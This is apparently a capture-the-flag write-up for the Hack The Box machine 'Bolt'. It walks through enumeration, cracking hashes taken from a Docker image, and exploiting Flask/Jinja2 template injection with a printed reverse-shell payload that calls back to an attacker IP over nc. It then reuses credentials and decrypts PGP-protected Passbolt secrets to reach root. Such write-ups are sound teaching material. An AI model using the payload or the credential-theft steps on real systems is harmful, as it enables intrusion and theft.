Home Bolt writeup
Post
Cancel
Preview Image

Bolt writeup

Summary

Bolt is a box which is mainly centered around forensics and enumeration, especially when it comes to Docker. However techniques such as source code analysis and SSTI exploitation is also present in this box.

Foothold

Let’s start out with a nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.92 scan initiated Wed Jan 19 11:49:56 2022 as: nmap -sC -sV -p- -o nmap/full.txt 10.129.165.25
Nmap scan report for 10.129.165.25
Host is up (0.049s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About 
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 19 11:52:53 2022 -- 1 IP address (1 host up) scanned in 176.70 seconds

Based on the output we know that the box is hosting a webpage with the domain name passbolt.bolt.htb. We can add both this domain and also bolt.htb to our /etc/hosts file.

Since the machine uses subdomains, it might be interesting to see if we can find others.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ gobuster vhost -u bolt.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt                                                                                                                          2 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://bolt.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/06/17 21:20:32 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mail.bolt.htb (Status: 200) [Size: 4943]
Found: demo.bolt.htb (Status: 302) [Size: 219] 
                                               
===============================================================
2022/06/17 21:21:47 Finished
===============================================================

Let’s add these to our host file as well.

We start by taking a look at the webpage hosted with the passbolt.bolt.htb domain:

The passbolt page

Before we can continue here we need a valid email from the bolt organization presumably. Since this is the case let’s move on to the application hosted on port 80:

The welcome page for the web application hosted on port 80

The page contains a download tab where we can download a docker image from the organization. Other than that there is nothing else that is eye catching. The other simply display a login screen:

The login screen for demo.bolt.htb The login screen for mail.bolt.htb

Let’s take a look at the downloaded docker image. I used Dive for this:

1
dive docker-archive://image.tar

We need to remember to specify that we are analyzing a docker archive, otherwise the tool will try to pull the image, which in this case it will not be able to.

Dive terminal while analyzing image.tar

While using Dive, we can use tab to switch between the tab controlling the layers we are analyzing and the tab containing the files in that layer. While the file tab is in use we can pres ctrl+U to only show modified files. If we take a look at the layer with the id a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 we can see that a sqlite3 database was added. Let’s unzip the image and take a further look at that layer.

Once the image has been untarred and the layer also untarred, we can access the sqlite3 database:

1
2
3
4
5
6
7
8
$ sqlite3 db.sqlite3                                                                                                                                                                            
SQLite version 3.38.5 2022-05-06 15:25:27
Enter ".help" for usage hints.
sqlite> .tables
User
sqlite> select * from User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
sqlite> 

We now have the hash for the admin user! The question is just for which service exactly. Before we start thinking about that let’s crack the hash:

1
2
3
4
5
6
7
$ hashid hash2.txt                                               
--File 'hash2.txt'--
Analyzing '$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.'
[+] MD5 Crypt 
[+] Cisco-IOS(MD5) 
[+] FreeBSD MD5 
--End of file 'hash2.txt'--   

the hash was identified as MD5 Crypt. Below is the relevant output from hashcat:

1
2
3
4
5
6
7
8
9
10
$ hashcat -a 0 -m 500 hash2.txt /usr/share/wordlists/rockyou.txt
Host memory required for this attack: 2 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.:deadbolt

The password lets us login to the bolt.htb site, and we are greeted with the admin panel:

The admin panel for bolt.htb

The admin panel also contains a conversation between the admin and a user named Sarah:

1
2
3
4
5
6
7
Hi Sarah, did you have time to check over the docker image? If not I'll get Eddie to take a look over. Our security team had a concern with it - something about e-mail? 

I have been so busy with the design I didn't have time yet, I think Eddie's help is required! Our demo is currently restricted to invite only. 

Ok, I will get Eddie to take a look over. I just want to be sure that the Docker image is safe to use. 

Not a problem, thanks for lending a hand! Make sure the image is scrubbed before hosting it! 

So to get access to the demo subdomain we need an invite. Let’s take a look at the different layers in the Docker again.

The Dive terminal again

As we can see in the image, the layer with id 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad is the layer where the base application was first added, where files such as routes.py and forms.py were later removed in future layers.

Let’s take a look at these files and see if we can find anything interesting. Luckily for us, the layer contains the code for both the demo and mail application! Below are relevant snippets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@blueprint.route('/register', methods=['GET', 'POST'])
def register():
    login_form = LoginForm(request.form)
    create_account_form = CreateAccountForm(request.form)
    if 'register' in request.form:

        username  = request.form['username']
        email     = request.form['email'   ]
        code      = request.form['invite_code']
        if code != 'XNSS-HSJW-3NGU-8XTJ':
            return render_template('code-500.html')
        data = User.query.filter_by(email=email).first()
        if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
            # Check usename exists
            user = User.query.filter_by(username=username).first()
            if user:
                return render_template( 'accounts/register.html', 
                                    msg='Username already registered',
                                    success=False,
                                    form=create_account_form)

            # Check email exists
            user = User.query.filter_by(email=email).first()
            if user:
                return render_template( 'accounts/register.html', 
                                    msg='Email already registered', 
                                    success=False,
                                    form=create_account_form)

            # else we can create the user
            user = User(**request.form)
            db.session.add(user)
            db.session.commit()

            return render_template( 'accounts/register.html', 
                                msg='User created please <a href="/login">login</a>', 
                                success=True,
                                form=create_account_form)

    else:
        return render_template( 'accounts/register.html', form=create_account_form)

This snippet contains the code needed to register an account on the demo application. When we register our account we might notice that we can use the same account on the mail application, so let’s take a look a snippet from that application as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@blueprint.route('/confirm/changes/<token>')
def confirm_changes(token):
    """Confirmation Token"""
    try:
        email = ts.loads(token, salt="changes-confirm-key", max_age=86400)
    except:
        abort(404)
    user = User.query.filter_by(username=email).first_or_404()
    name = user.profile_update
    template = open('templates/emails/update-name.html', 'r').read()
    msg = Message(
            recipients=[f'{user.email}'],
            sender = 'support@example.com',
            reply_to = 'support@example.com',
            subject = "Your profile changes have been confirmed."
        )
    msg.html = render_template_string(template % name)
    mail.send(msg)

    return render_template('index.html')

As can be seen in the snippet above, the application takes the updated name and inserts it into the the template without any checks. This is SSTI and worst case scenario it leads to code execution on the system hosting the application. More details can be found here and here.

If we change our name on the demo application we can see that we have code execution via the mail application.

Changing the name of our profile in demo app

SSTI confirmed via mail app

We can use the SSTI to execute code. In our case we’ll use a reverse shell payload.

1
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.17.182 1337 >/tmp/f').read() }}
1
2
3
4
5
6
7
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.17.182] from (UNKNOWN) [10.129.86.187] 51288
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Pivot

Now that we have a shell on the system we should try to leverage that into getting access to a user account. In this case i simply ran linpeas:

1
2
3
4
5
6
7
8
9
╔══════════╣ Analyzing Passbolt Files (limit 70)
-rw-r----- 1 root www-data 3128 Feb 25  2021 /etc/passbolt/passbolt.php                                                                                                                                                                     
 * Passbolt ~ Open source password manager for teams
            'host' => 'localhost',
            'port' => '3306',
            'username' => 'passbolt',
            'password' => 'rT2;jW7<eY8!dX8}pQ8%',
            'database' => 'passboltdb',

Reading the passwd file gives us the username clark and eddie. Trying to log in via ssh as eddie with the password found above works, and we have successfully pivoted to the eddie user.

Privilege escalation

Running linpeas once more we get the following interesting output:

1
2
3
4
5
══╣ Possible private SSH keys were found!
/etc/ImageMagick-6/mime.xml
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js
/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log

If we read 000003.log we quickly stumble across a private PGP key. Copying the key to a text file on our local machine we can use pgp2john to extract the hash from the key.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt                                                                                                                                                                           
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:02:29 0.05% (ETA: 2022-06-21 08:22) 0g/s 60.79p/s 60.79c/s 60.79C/s patch..maranatha
merrychristmas   (Eddie Johnson)     
1g 0:00:12:09 DONE (2022-06-18 01:07) 0.001370g/s 58.71p/s 58.71c/s 58.71C/s mhines..megan5
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

We can use the credentials found previously to access the mysql database on the system with the passbolt user via the command mysql -u passbolt -p.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| passboltdb         |
+--------------------+
2 rows in set (0.01 sec)

mysql> use passboltdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------+
| Tables_in_passboltdb  |
+-----------------------+
| account_settings      |
| action_logs           |
| actions               |
| authentication_tokens |
| avatars               |
| comments              |
| email_queue           |
| entities_history      |
| favorites             |
| gpgkeys               |
| groups                |
| groups_users          |
| organization_settings |
| permissions           |
| permissions_history   |
| phinxlog              |
| profiles              |
| resource_types        |
| resources             |
| roles                 |
| secret_accesses       |
| secrets               |
| secrets_history       |
| user_agents           |
| users                 |
+-----------------------+
25 rows in set (0.00 sec)

mysql> select * from secrets;
---SNIP---
-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----

This secret message can be decrypted with the PGP key and password we found earlier. Save the message to a text file and use the following commands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(bitis㉿workstation)-[~/htb/Machines/bolt]
└─$ gpg --pinentry-mode loopback --passphrase merrychristmas -d secret.pgp 
gpg: encrypted with RSA key, ID F65CA879A3D77FE4
gpg: decryption failed: No secret key
                                                                                                                                                                                                                                            
┌──(bitis㉿workstation)-[~/htb/Machines/bolt]
└─$ gpg --batch --import pgp.key                                                                                                                                                                                                        2 ⨯
gpg: key 1C2741A3DC3B4ABD: public key "Eddie Johnson <eddie@bolt.htb>" imported
gpg: key 1C2741A3DC3B4ABD: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
                                                                                                                                                                                                                                            
┌──(bitis㉿workstation)-[~/htb/Machines/bolt]
└─$ gpg --pinentry-mode loopback --passphrase merrychristmas -d secret.pgp
gpg: encrypted with 2048-bit RSA key, ID F65CA879A3D77FE4, created 2021-02-25
      "Eddie Johnson <eddie@bolt.htb>"
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}gpg: Signature made Sat 06 Mar 2021 04:33:54 PM CET
gpg:                using RSA key 1C2741A3DC3B4ABD
gpg: Good signature from "Eddie Johnson <eddie@bolt.htb>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: DF42 6BC7 A4A8 AF58 E50E  DA0E 1C27 41A3 DC3B 4ABD
                                                                                                                                                                                                                                            
┌──(bitis㉿workstation)-[~/htb/Machines/bolt]
└─$ 

The password found in the decrypted message can be used to log in as root on the machine!

1
2
3
eddie@bolt:~/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf$ su -
Password: 
root@bolt:~# 

Rooted!

This post is licensed under CC BY 4.0 by the author.